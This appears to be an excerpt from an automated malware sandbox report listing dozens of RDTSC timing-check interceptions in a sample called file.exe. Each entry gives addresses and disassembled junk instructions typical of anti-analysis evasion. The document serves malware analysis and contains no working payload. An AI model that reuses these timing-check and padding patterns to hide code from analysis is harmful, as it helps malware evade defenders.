Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB6EA second address: BEB6EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB6EE second address: BEB6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85233 second address: C8524F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D59529307h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C856A2 second address: C856A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C856A7 second address: C856AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C856AD second address: C856B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C857F4 second address: C857FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C857FC second address: C85802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85802 second address: C8580F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F5D595292F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8580F second address: C85815 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85815 second address: C85822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85822 second address: C85826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85826 second address: C8582E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8582E second address: C85838 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5D59526BBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85964 second address: C8598C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D595292FAh 0x00000009 jmp 00007F5D59529309h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C89C0D second address: C89C11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C89C11 second address: C89C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C89C17 second address: C89C2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC0h 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C892A4 second address: C892BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529304h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C89461 second address: C89479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5D59526BC2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C89479 second address: C8947F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8947F second address: C8948E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 ja 00007F5D59526BB6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B240 second address: C8B245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8B245 second address: C8B24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E82E second address: C8E84C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F5D59529309h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8E98B second address: C8E98F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8EB27 second address: C8EB2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8EB2B second address: C8EB72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F5D59526BB6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jnl 00007F5D59526BCAh 0x00000018 jmp 00007F5D59526BC4h 0x0000001d popad 0x0000001e pushad 0x0000001f jc 00007F5D59526BC3h 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 jmp 00007F5D59526BBBh 0x0000002c push eax 0x0000002d push edx 0x0000002e push ecx 0x0000002f pop ecx 0x00000030 push edx 0x00000031 pop edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8EB72 second address: C8EB7C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5D595292F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F0B9 second address: C8F0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5D59526BB6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c ja 00007F5D59526BB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97E9F second address: C97EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007F5D59529304h 0x0000000b jmp 00007F5D595292FEh 0x00000010 pop ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F5D595292F6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97EC4 second address: C97EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95F3E second address: C95F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95F44 second address: C95F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F5D59526BB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95F56 second address: C95F74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529302h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F5D595292F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95F74 second address: C95F78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C960DD second address: C96107 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F5D595292FCh 0x0000000c jl 00007F5D595292F6h 0x00000012 jo 00007F5D59529310h 0x00000018 jmp 00007F5D595292FEh 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C966F1 second address: C966FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C966FC second address: C96700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96700 second address: C96706 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96706 second address: C9670C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9670C second address: C9671C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5D59526BB6h 0x0000000a jbe 00007F5D59526BB6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96D36 second address: C96D4D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96D4D second address: C96D55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9707E second address: C97084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C978C6 second address: C978F4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5D59526BCBh 0x00000008 push eax 0x00000009 jl 00007F5D59526BB6h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C978F4 second address: C978F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C978F9 second address: C97901 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97901 second address: C97905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97905 second address: C9790F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5D59526BB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97BC2 second address: C97BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1DFF second address: CA1E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5D59526BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1E09 second address: CA1E2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529307h 0x00000007 js 00007F5D595292F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0EDC second address: CA0EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0EE2 second address: CA0EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5D59529300h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1039 second address: CA103D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA103D second address: CA1041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA11A3 second address: CA11A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA11A9 second address: CA11AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA11AF second address: CA11DC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5D59526BC0h 0x0000000d jmp 00007F5D59526BC5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA17F2 second address: CA17F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1AB0 second address: CA1AB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1AB4 second address: CA1ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1ABA second address: CA1AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1AC4 second address: CA1AE3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5D595292F6h 0x00000008 jmp 00007F5D59529305h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEEC5B second address: BEEC61 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEEC61 second address: BEEC68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD105 second address: CAD10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB4C4 second address: CAB4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 ja 00007F5D595292FCh 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5D59529307h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CABAD6 second address: CABAE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F5D59526BB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CABEE6 second address: CABEEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC002 second address: CAC00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC00D second address: CAC01D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5D595292F6h 0x00000008 jnl 00007F5D595292F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACFA1 second address: CACFA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACFA5 second address: CACFAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0724 second address: BF0759 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5D59526BB6h 0x00000008 jp 00007F5D59526BB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F5D59526BBFh 0x00000015 pushad 0x00000016 jc 00007F5D59526BB6h 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 ja 00007F5D59526BB6h 0x00000029 push esi 0x0000002a pop esi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0759 second address: BF075D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF075D second address: BF0763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF21FC second address: BF2202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF2202 second address: BF2206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF2206 second address: BF2212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F5D595292F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF2212 second address: BF2216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB80FC second address: CB8114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5D59529301h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3E99 second address: CC3ED4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007F5D59526BC8h 0x00000011 jmp 00007F5D59526BC3h 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3ED4 second address: CC3EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jc 00007F5D595292F6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8537 second address: CC853D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC853D second address: CC854A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F5D595292F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC854A second address: CC8565 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5D59526BBBh 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F5D59526BB6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE095 second address: CCE09B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD784A second address: CD7850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7850 second address: CD786E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F5D59529304h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD786E second address: CD7872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDF19 second address: CDDF1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE1D9 second address: CDE1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE1DF second address: CDE1E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE1E9 second address: CDE1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5D59526BB6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2D4A second address: CE2D4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2D4E second address: CE2D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2D54 second address: CE2D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D59529306h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2D70 second address: CE2D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F5D59526BB6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2D80 second address: CE2D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE294B second address: CE2955 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5D59526BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2955 second address: CE2960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F5D595292F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB5A5 second address: CEB5BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5D59526BC1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB434 second address: CEB438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB438 second address: CEB440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB440 second address: CEB447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
